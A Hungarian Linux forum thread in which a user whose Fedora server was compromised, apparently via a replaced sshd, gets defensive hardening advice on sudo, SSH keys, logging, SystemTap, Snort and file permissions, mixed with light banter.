Fertözött rendszerből nem tudtam meg hogy miként jött mert nem volt rajta semmi amivel elkaphatom viszont most ujra raktam a rendszert és várom hogy jelentkezzen.

Kíváncsi vagyok a fejleményekre, annál is inkább, mert Fedora 17-et használok. Igaz, bekapcsolt SELinux mellett.


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Most bezzeg nem jőn amikor fel vagyok rá készülve :D

Lehet, hogy pont azért? :)

Ő is olvassa a postot.
--
üdv: virtualm

:DD


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Én azzal indulnék, hogy a gépet amiről belépsz, letakarítanám. Tiszta rendszer, semmi szemét.
--
Discover It - Have a lot of fun!

Ne legyen sudoer az a user aminek nem kene, kulon userrel probalj adminolni meg belepni a tobbi szolgaltatasra.
Hasznalj rsa key alapu belepest ssh -n, ne legyen jelszavas (foleg a sudoer usernek).
Kapcsolj be minden komponensen, login probalkozas logolast.
Melyek azok a componesek amik lathatad a jelszavadat ?
Probald logolni a kapcsolodasokat, legalabb src ip, dest port legyen, idovel. (a tamadas idejet, tudhatnad a fileok megjelenesebol, lehet osszefugest keresni )

system tap van erre a rendszerre, el lehet kapni ezekhez filokhoz valo hozza ferest.
- meg lehet tagadni
- meg lehet nezni a process tree -t, ha szerencsed van, akkor lathatod melyik programbol indul a tamadas.

Mi az eselye annak, hogy te telepited a gonosz kodot valahonan ?

Nemi nehezitest jelent, ha nem tudjak az admin user nevedet, lehet meg kene valtoztatni.

Miutan bejottek semmit sem hihetsz el amit a rendszer ir.
kernel modul betoltesenek nehezitese, jelent nemi nehezitest, a rejtegetesnel....
...

Infokat idonkent kuldhetsz kulso e-mail cimedre is, a geprol eltuntethetik...

edit:
Tegy fel snort -ot.

edit:
id fanti
ls -ld /usr/lib/
fanti nevu usernek ugye nincs joga ide irni ?


Amit nem lehet megirni assemblyben, azt nem lehet megirni.

Csak a mailszerver telepítésnél használtam ideiglenesen a sudoerst.
Ezek után mindenhol csak rsa kulcsot fogok használni.
Gyakorlatilag miután lecserélte a saját sshd szerverére igy az minden bizonnyal.
Az újratelepített rendszerre egyenlöre még nem raktam fel semmit csak azokat a programokat amiket ajánlottatok hátha elcsipem egyenlöre nem jött vissza
még várok pár napot utánna felrakom rá a mail szervert és kiderül hogy azzal jött e.
Nincs joga irni bele:
dr-xr-xr-x. 38 root root 4096 Jul 4 14:13 /usr/lib/

Egyelőre - N nélkül, ha szabad kérni. Egyenlőre vághatsz két deszkát,ami egyelőre megteszi polc helyett.

.

Ezt gondolom, nem autOmatikusan írtad ide :-D

Bazz, mindezt vasárnap éjszaka? Alapból vagy ilyen, vagy sajnáljunk a szexuális életed miatt? :-)

Alapból.